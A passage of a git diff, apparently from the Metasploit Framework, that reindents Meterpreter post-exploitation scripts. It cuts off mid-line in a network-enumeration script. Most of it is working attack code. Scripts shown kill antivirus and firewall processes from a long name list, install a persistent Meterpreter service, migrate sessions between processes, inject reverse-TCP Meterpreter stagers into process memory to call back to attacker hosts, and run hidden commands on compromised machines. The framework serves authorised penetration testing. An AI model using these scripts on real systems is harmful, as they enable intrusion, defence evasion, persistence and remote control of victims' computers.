srng.exe + ss3edit.exe + ssg_4104.exe + ssgrate.exe + st2.exe + start.exe + stcloader.exe + supftrl.exe + support.exe + supporter5.exe + svc.exe + svchostc.exe + svchosts.exe + svshost.exe + sweep95.exe + sweepnet.sweepsrv.sys.swnetsup.exe + symproxysvc.exe + symtray.exe + sysedit.exe + system.exe + system32.exe + sysupd.exe + taskmg.exe + taskmgr.exe + taskmo.exe + taskmon.exe + taumon.exe + tbscan.exe + tc.exe + tca.exe + tcm.exe + tds-3.exe + tds2-98.exe + tds2-nt.exe + teekids.exe + tfak.exe + tfak5.exe + tgbob.exe + titanin.exe + titaninxp.exe + tracert.exe + trickler.exe + trjscan.exe + trjsetup.exe + trojantrap3.exe + tsadbot.exe + tvmd.exe + tvtmd.exe + undoboot.exe + updat.exe + update.exe + upgrad.exe + utpost.exe + vbcmserv.exe + vbcons.exe + vbust.exe + vbwin9x.exe + vbwinntw.exe + vcsetup.exe + vet32.exe + vet95.exe + vettray.exe + vfsetup.exe + vir-help.exe + virusmdpersonalfirewall.exe + vnlan300.exe + vnpc3000.exe + vpc32.exe + vpc42.exe + vpfw30s.exe + vptray.exe + vscan40.exe + vscenu6.02d30.exe + vsched.exe + vsecomr.exe + vshwin32.exe + vsisetup.exe + vsmain.exe + vsmon.exe + vsstat.exe + vswin9xe.exe + vswinntse.exe + vswinperse.exe + w32dsm89.exe + w9x.exe + watchdog.exe + webdav.exe + webscanx.exe + webtrap.exe + wfindv32.exe + whoswatchingme.exe + wimmun32.exe + win-bugsfix.exe + win32.exe + win32us.exe + winactive.exe + window.exe + windows.exe + wininetd.exe + wininitx.exe + winlogin.exe + winmain.exe + winnet.exe + winppr32.exe + winrecon.exe + winservn.exe + winssk32.exe + winstart.exe + winstart001.exe + wintsk32.exe + winupdate.exe + wkufind.exe + wnad.exe + wnt.exe + wradmin.exe + wrctrl.exe + wsbgate.exe + wupdater.exe + wupdt.exe + wyvernworksfirewall.exe + xpf202en.exe + zapro.exe + zapsetup3001.exe + zatutor.exe + zonalm2601.exe + zonealarm.exe } client.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("Killing off #{x['name']}...") - client.sys.process.kill(x['pid']) - end + if (avs.index(x['name'].downcase)) + print_status("Killing off #{x['name']}...") + client.sys.process.kill(x['pid']) + end end diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index fe56c49f7271..7046e0056184 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -8,21 +8,21 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the service"] + "-h" => [ false, "This help menu"], + "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], + "-A" => [ false, "Automatically start a matching multi/handler to connect to the service"] ) # Exec a command and return the results def m_exec(session, cmd) - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - end - r.channel.close - r.close - b + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + b = "" + while(d = r.channel.read) + b << d + end + r.channel.close + r.close + b end # @@ -36,85 +36,85 @@ def m_exec(session, cmd) remove = false if client.platform =~ /win32|win64/ - # - # Option parsing - # - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-A" - autoconn = true - when "-r" - remove = true - end - end - - # - # Create the persistent VBS - # - - if(not remove) - print_status("Creating a meterpreter service on port #{rport}") - else - print_status("Removing the existing Meterpreter service") - end - - # - # Upload to the filesystem - # - - tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) - - print_status("Creating a temporary installation directory #{tempdir}...") - client.fs.dir.mkdir(tempdir) - - %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| - next if (bin != "metsvc.exe" and remove) - print_status(" >> Uploading #{bin}...") - fd = client.fs.file.new(tempdir + "\\" + bin, "wb") - fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) - fd.close - end - - # - # Execute the agent - # - if(not remove) - print_status("Starting the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe install-service") - print_line("\t#{data}") - else - print_status("Stopping the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe remove-service") - print_line("\t#{data}") - end - - if(remove) - m_exec(client, "cmd.exe /c del metsvc.exe") - end - - # - # Setup the multi/handler if requested - # - if(autoconn) - print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp" - mul.datastore['LPORT'] = rport - mul.datastore['RHOST'] = client.session_host - mul.datastore['ExitOnSession'] = false - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - end + # + # Option parsing + # + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-A" + autoconn = true + when "-r" + remove = true + end + end + + # + # Create the persistent VBS + # + + if(not remove) + print_status("Creating a meterpreter service on port #{rport}") + else + print_status("Removing the existing Meterpreter service") + end + + # + # Upload to the filesystem + # + + tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) + + print_status("Creating a temporary installation directory #{tempdir}...") + client.fs.dir.mkdir(tempdir) + + %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| + next if (bin != "metsvc.exe" and remove) + print_status(" >> Uploading #{bin}...") + fd = client.fs.file.new(tempdir + "\\" + bin, "wb") + fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) + fd.close + end + + # + # Execute the agent + # + if(not remove) + print_status("Starting the service...") + client.fs.dir.chdir(tempdir) + data = m_exec(client, "metsvc.exe install-service") + print_line("\t#{data}") + else + print_status("Stopping the service...") + client.fs.dir.chdir(tempdir) + data = m_exec(client, "metsvc.exe remove-service") + print_line("\t#{data}") + end + + if(remove) + m_exec(client, "cmd.exe /c del metsvc.exe") + end + + # + # Setup the multi/handler if requested + # + if(autoconn) + print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") + mul = client.framework.exploits.create("multi/handler") + mul.datastore['WORKSPACE'] = client.workspace + mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp" + mul.datastore['LPORT'] = rport + mul.datastore['RHOST'] = client.session_host + mul.datastore['ExitOnSession'] = false + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index 1444226ee00c..37c6ee62d9c1 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -10,85 +10,85 @@ target_name = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-f" => [ false, "Launch a process and migrate into the new process"], - "-p" => [ true , "PID to migrate to."], - "-k" => [ false, "Kill original process."], - "-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ] + "-h" => [ false, "Help menu." ], + "-f" => [ false, "Launch a process and migrate into the new process"], + "-p" => [ true , "PID to migrate to."], + "-k" => [ false, "Kill original process."], + "-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-f" - spawn = true - when "-k" - kill = true - when "-p" - target_pid = val.to_i - when "-n" - target_name = val.to_s - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - else - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-f" + spawn = true + when "-k" + kill = true + when "-p" + target_pid = val.to_i + when "-n" + target_name = val.to_s + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + else + print_line(opts.usage) + raise Rex::Script::Completed + end } # Creates a temp notepad.exe to migrate to depending the architecture. def create_temp_proc() - sysinfo = client.sys.config.sysinfo - windir = client.fs.file.expand_path("%windir%") - # Select path of executable to run depending the architecture - if sysinfo['Architecture'] =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - else - cmd = "#{windir}\\Sysnative\\notepad.exe" - end - # run hidden - proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) - return proc.pid + sysinfo = client.sys.config.sysinfo + windir = client.fs.file.expand_path("%windir%") + # Select path of executable to run depending the architecture + if sysinfo['Architecture'] =~ /x86/ + cmd = "#{windir}\\System32\\notepad.exe" + else + cmd = "#{windir}\\Sysnative\\notepad.exe" + end + # run hidden + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + return proc.pid end # In case no option is provided show help if args.length == 0 - print_line(opts.usage) - raise Rex::Script::Completed + print_line(opts.usage) + raise Rex::Script::Completed end ### Main ### if client.platform =~ /win32|win64/ - server = client.sys.process.open - original_pid = server.pid - print_status("Current server process: #{server.name} (#{server.pid})") + server = client.sys.process.open + original_pid = server.pid + print_status("Current server process: #{server.name} (#{server.pid})") - if spawn - print_status("Spawning notepad.exe process to migrate to") - target_pid = create_temp_proc - end + if spawn + print_status("Spawning notepad.exe process to migrate to") + target_pid = create_temp_proc + end - if target_name and not target_pid - target_pid = client.sys.process[target_name] - if not target_pid - print_status("Could not identify the process ID for #{target_name}") - raise Rex::Script::Completed - end - end + if target_name and not target_pid + target_pid = client.sys.process[target_name] + if not target_pid + print_status("Could not identify the process ID for #{target_name}") + raise Rex::Script::Completed + end + end - begin - print_good("Migrating to #{target_pid}") - client.core.migrate(target_pid) - print_good("Successfully migrated to process #{}") - rescue ::Exception => e - print_error("Could not migrate in to process.") - print_error(e) - end + begin + print_good("Migrating to #{target_pid}") + client.core.migrate(target_pid) + print_good("Successfully migrated to process #{}") + rescue ::Exception => e + print_error("Could not migrate in to process.") + print_error(e) + end - if kill - print_status("Killing original process with PID #{original_pid}") - client.sys.process.kill(original_pid) - print_good("Successfully killed process with PID #{original_pid}") - end + if kill + print_status("Killing original process with PID #{original_pid}") + client.sys.process.kill(original_pid) + print_good("Successfully killed process with PID #{original_pid}") + end end diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 4d19828ba9da..9d3208538770 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -9,9 +9,9 @@ # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables @@ -22,52 +22,52 @@ ################## Function Declarations ################## # Function for running a list of commands stored in a array, returs string def list_con_exec(cmdlst) - print_status("Running Command List ...") - cmdout = "" - cmdlst.each do |cmd| - next if cmd.strip.length < 1 - next if cmd[0,1] == "#" - begin - print_status "\tRunning command #{cmd}" - @client.console.run_single(cmd) - rescue ::Exception => e - print_status("Error Running Command #{cmd}: #{e.class} #{e}") - end - end - cmdout + print_status("Running Command List ...") + cmdout = "" + cmdlst.each do |cmd| + next if cmd.strip.length < 1 + next if cmd[0,1] == "#" + begin + print_status "\tRunning command #{cmd}" + @client.console.run_single(cmd) + rescue ::Exception => e + print_status("Error Running Command #{cmd}: #{e.class} #{e}") + end + end + cmdout end def usage - print_line("Console Multi Command Execution Meterpreter Script ") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Console Multi Command Execution Meterpreter Script ") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.split(",") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end + when "-cl" + commands = val.split(",") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end - when "-h" - help = 1 - end + when "-h" + help = 1 + end } if args.length == 0 or help == 1 - usage + usage else - list_con_exec(commands) - raise Rex::Script::Completed + list_con_exec(commands) + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index d6f6974ed715..e4719567a25b 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -12,12 +12,12 @@ payload_type = "windows/meterpreter/reverse_tcp" start_handler = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], - "-m" => [ false, "Start Exploit multi/handler for return connection"], - "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], - "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], - "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], + "-m" => [ false, "Start Exploit multi/handler for return connection"], + "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], + "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], + "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] ) meter_type = client.platform @@ -26,92 +26,92 @@ # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload" - print_line "in to memory of multiple PIDs, if none is provided a notepad process." - print_line "will be created and a Meterpreter Payload will be injected in to each." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload" + print_line "in to memory of multiple PIDs, if none is provided a notepad process." + print_line "will be created and a Meterpreter Payload will be injected in to each." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for injecting payload in to a given PID #------------------------------------------------------------------------------- def inject(target_pid, payload_to_inject) - print_status("Injecting meterpreter into process ID #{target_pid}") - begin - host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS) - raw = payload_to_inject.generate - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + print_status("Injecting meterpreter into process ID #{target_pid}") + begin + host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS) + raw = payload_to_inject.generate + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_good("Successfully injected Meterpreter in to process: #{target_pid}") - rescue::Exception => e - print_error("Failed to Inject Payload to #{target_pid}!") - print_error(e) - end + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_good("Successfully injected Meterpreter in to process: #{target_pid}") + rescue::Exception => e + print_error("Failed to Inject Payload to #{target_pid}!") + print_error(e) + end end # Function for Creation of Connection Handler #------------------------------------------------------------------------------- def create_multi_handler(payload_to_inject) - mul = @client.framework.exploits.create("multi/handler") - mul.share_datastore(payload_to_inject.datastore) - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = payload_to_inject - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = true - print_status("Running payload handler") - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + mul = @client.framework.exploits.create("multi/handler") + mul.share_datastore(payload_to_inject.datastore) + mul.datastore['WORKSPACE'] = @client.workspace + mul.datastore['PAYLOAD'] = payload_to_inject + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = true + print_status("Running payload handler") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end # Function for Creating the Payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) - print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}") - payload = payload_type - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - return pay + print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}") + payload = payload_type + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + return pay end # Function starting notepad.exe process #------------------------------------------------------------------------------- def start_proc() - print_good("Starting Notepad.exe to house Meterpreter Session.") - proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - print_good("Process created with pid #{proc.pid}") - return proc.pid + print_good("Starting Notepad.exe to house Meterpreter Session.") + proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) + print_good("Process created with pid #{proc.pid}") + return proc.pid end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-p" - lport = val.to_i - when "-m" - start_handler = true - when "-pt" - payload_type = val - when "-mr" - multi_ip = val.split(",") - when "-mp" - multi_pid = val.split(",") - end + case opt + when "-h" + usage + when "-p" + lport = val.to_i + when "-m" + start_handler = true + when "-pt" + payload_type = val + when "-mr" + multi_ip = val.split(",") + when "-mp" + multi_pid = val.split(",") + end } # Check for Version of Meterpreter @@ -122,24 +122,24 @@ def start_proc() # Check to make sure a PID or Program name where provided if multi_ip - if multi_pid - if multi_ip.length == multi_pid.length - pid_index = 0 - multi_ip.each do |i| - payload = create_payload(payload_type,i,lport) - inject(multi_pid[pid_index],payload) - select(nil, nil, nil, 5) - pid_index = pid_index + 1 - end - else - multi_ip.each do |i| - payload = create_payload(payload_type,i,lport) - inject(start_proc,payload) - select(nil, nil, nil, 2) - end - end - end + if multi_pid + if multi_ip.length == multi_pid.length + pid_index = 0 + multi_ip.each do |i| + payload = create_payload(payload_type,i,lport) + inject(multi_pid[pid_index],payload) + select(nil, nil, nil, 5) + pid_index = pid_index + 1 + end + else + multi_ip.each do |i| + payload = create_payload(payload_type,i,lport) + inject(start_proc,payload) + select(nil, nil, nil, 2) + end + end + end else - print_error("You must provide at least one IP!") + print_error("You must provide at least one IP!") end diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 53f82eddb597..5a59549e298f 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -7,10 +7,10 @@ wininfo = client.sys.config.sysinfo # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], - "-f" => [ true,"File where to saved output of command."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], + "-f" => [ true,"File where to saved output of command."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -21,83 +21,83 @@ ################## Function Declarations ################## # Function for running a list of commands stored in a array, returs string def list_exec(session,cmdlst) - print_status("Running Command List ...") - tmpout = "" - cmdout = "" - r='' - session.response_timeout=120 - cmdlst.each do |cmd| - next if cmd.strip.length < 1 - next if cmd[0,1] == "#" - begin - print_status "\trunning command #{cmd}" - tmpout = "\n" - tmpout << "*****************************************\n" - tmpout << " Output of #{cmd}\n" - tmpout << "*****************************************\n" - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - tmpout << d - break if d == "" - end - cmdout << tmpout - r.channel.close - #r.close - rescue ::Exception => e - print_status("Error Running Command #{cmd}: #{e.class} #{e}") - end - end - cmdout + print_status("Running Command List ...") + tmpout = "" + cmdout = "" + r='' + session.response_timeout=120 + cmdlst.each do |cmd| + next if cmd.strip.length < 1 + next if cmd[0,1] == "#" + begin + print_status "\trunning command #{cmd}" + tmpout = "\n" + tmpout << "*****************************************\n" + tmpout << " Output of #{cmd}\n" + tmpout << "*****************************************\n" + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + tmpout << d + break if d == "" + end + cmdout << tmpout + r.channel.close + #r.close + rescue ::Exception => e + print_status("Error Running Command #{cmd}: #{e.class} #{e}") + end + end + cmdout end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "a") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end def usage - print_line("Windows Multi Command Execution Meterpreter Script ") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Multi Command Execution Meterpreter Script ") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.split(",") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end - when "-f" - outfile = val - when "-h" - help = 1 - end + when "-cl" + commands = val.split(",") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end + when "-f" + outfile = val + when "-h" + help = 1 + end } if args.length == 0 or help == 1 - usage + usage elsif commands or script - if outfile - filewrt(outfile, list_exec(session,commands)) - else - list_exec(session,commands).each_line do |l| - print_status(l.chomp) - end - end - raise Rex::Script::Completed + if outfile + filewrt(outfile, list_exec(session,commands)) + else + list_exec(session,commands).each_line do |l| + print_status(l.chomp) + end + end + raise Rex::Script::Completed else - usage + usage end diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index 01cfaf679154..92b54b5935d0 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -6,9 +6,9 @@ # Setting Argument @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = "" @@ -18,53 +18,53 @@ ################## Function Declarations ################## # Function for running a list of scripts stored in a array def script_exec(session,scrptlst) - print_status("Running script List ...") - scrptlst.each_line do |scrpt| - next if scrpt.strip.length < 1 - next if scrpt[0,1] == "#" + print_status("Running script List ...") + scrptlst.each_line do |scrpt| + next if scrpt.strip.length < 1 + next if scrpt[0,1] == "#" - begin - script_components = scrpt.split - script = script_components.shift - script_args = script_components - print_status "\trunning script #{scrpt.chomp}" - session.execute_script(script, script_args) - rescue ::Exception => e - print_error("Error: #{e.class} #{e}") - print_error("Error in script: #{scrpt}") - end - end + begin + script_components = scrpt.split + script = script_components.shift + script_args = script_components + print_status "\trunning script #{scrpt.chomp}" + session.execute_script(script, script_args) + rescue ::Exception => e + print_error("Error: #{e.class} #{e}") + print_error("Error in script: #{scrpt}") + end + end end def usage - print_line("Multi Script Execution Meterpreter Script ") - print_line(@@exec_opts.usage) + print_line("Multi Script Execution Meterpreter Script ") + print_line(@@exec_opts.usage) end ################## Main ################## @@exec_opts.parse(args) do |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.gsub(/;/,"\n") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Script List File does not exists!" - else - ::File.open(script, "rb").each_line do |line| - commands << line - end - end - when "-h" - help = 1 - end + when "-cl" + commands = val.gsub(/;/,"\n") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Script List File does not exists!" + else + ::File.open(script, "rb").each_line do |line| + commands << line + end + end + when "-h" + help = 1 + end end if args.length == 0 or help == 1 - usage + usage else - print_status("Running Multiscript script.....") - script_exec(session,commands) + print_status("Running Multiscript script.....") + script_exec(session,commands) end diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index f3cb4c31a5b5..50ca71a51905 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -5,15 +5,15 @@ #Note: ################## Variable Declarations ################## @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-r" => [ true, "The target address range or CIDR identifier" ], - "-ps" => [ false, "To Perform Ping Sweep on IP Range" ], - "-rl" => [ false, "To Perform DNS Reverse Lookup on IP Range" ], - "-fl" => [ false, "To Perform DNS Forward Lookup on host list and domain" ], - "-hl" => [ true, "File with Host List for DNS Forward Lookup" ], - "-d" => [ true, "Domain Name for DNS Forward Lookup" ], - "-st" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ], - "-sr" => [ false, "To Perform Service Record DNS lookup for a domain" ] + "-h" => [ false, "Help menu." ], + "-r" => [ true, "The target address range or CIDR identifier" ], + "-ps" => [ false, "To Perform Ping Sweep on IP Range" ], + "-rl" => [ false, "To Perform DNS Reverse Lookup on IP Range" ], + "-fl" => [ false, "To Perform DNS Forward Lookup on host list and domain" ], + "-hl" => [ true, "File with Host List for DNS Forward Lookup" ], + "-d" => [ true, "Domain Name for DNS Forward Lookup" ], + "-st" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ], + "-sr" => [ false, "To Perform Service Record DNS lookup for a domain" ] ) session = client host,port = session.session_host, session.session_port @@ -33,233 +33,233 @@ #------------------------------------------------------------------------------- # Function for performing regular lookup of MX and NS records def stdlookup(session, domain, dest) - dest = dest + "-general-record-lookup.txt" - print_status("Getting MX and NS Records for domain #{domain}") - filewrt(dest,"SOA, NS and MX Records for domain #{domain}") - types = ["SOA","NS","MX"] - mxout = [] - results = [] - garbage = [] - types.each do |t| - begin - r = session.sys.process.execute("nslookup -type=#{t} #{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - mxout << d - end - r.channel.close - r.close - results = mxout.join.split(/\n/) - results.each do |rec| - if rec.match(/\s*internet\saddress\s\=\s/) - garbage << rec.split(/\s*internet\saddress\s\=/) - print_status("#{garbage[0].join.sub(" "," ")} #{t} ") - filewrt(dest,garbage[0].join.sub(" "," ")+" #{t} ") - garbage.clear - end - garbage.clear - end + dest = dest + "-general-record-lookup.txt" + print_status("Getting MX and NS Records for domain #{domain}") + filewrt(dest,"SOA, NS and MX Records for domain #{domain}") + types = ["SOA","NS","MX"] + mxout = [] + results = [] + garbage = [] + types.each do |t| + begin + r = session.sys.process.execute("nslookup -type=#{t} #{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + mxout << d + end + r.channel.close + r.close + results = mxout.join.split(/\n/) + results.each do |rec| + if rec.match(/\s*internet\saddress\s\=\s/) + garbage << rec.split(/\s*internet\saddress\s\=/) + print_status("#{garbage[0].join.sub(" "," ")} #{t} ") + filewrt(dest,garbage[0].join.sub(" "," ")+" #{t} ") + garbage.clear + end + garbage.clear + end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end - end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end + end end #------------------------------------------------------------------------------- # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "ab") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "ab") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end #------------------------------------------------------------------------------- # Function for Executing Reverse lookups def reverselookup(session, iprange, dest) - dest = dest + "-DNS-reverse-lookup.txt" - print_status("Performing DNS reverse lookup for IP range #{iprange}") - filewrt(dest,"DNS reverse lookup for IP range #{iprange}") - iplst =[] - i, a = 0, [] - begin - ipadd = Rex::Socket::RangeWalker.new(iprange) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - begin - iplst.each do |ip| - if i < 10 - a.push(::Thread.new { - r = session.sys.process.execute("nslookup #{ip}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Name)/ - d.scan(/Name:\s*\S*\s/) do |n| - hostname = n.split(": ") - print_status "\t #{ip} is #{hostname[1].chomp("\n")}" - filewrt(dest,"#{ip} is #{hostname[1].chomp("\n")}") - end - break + dest = dest + "-DNS-reverse-lookup.txt" + print_status("Performing DNS reverse lookup for IP range #{iprange}") + filewrt(dest,"DNS reverse lookup for IP range #{iprange}") + iplst =[] + i, a = 0, [] + begin + ipadd = Rex::Socket::RangeWalker.new(iprange) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + begin + iplst.each do |ip| + if i < 10 + a.push(::Thread.new { + r = session.sys.process.execute("nslookup #{ip}", 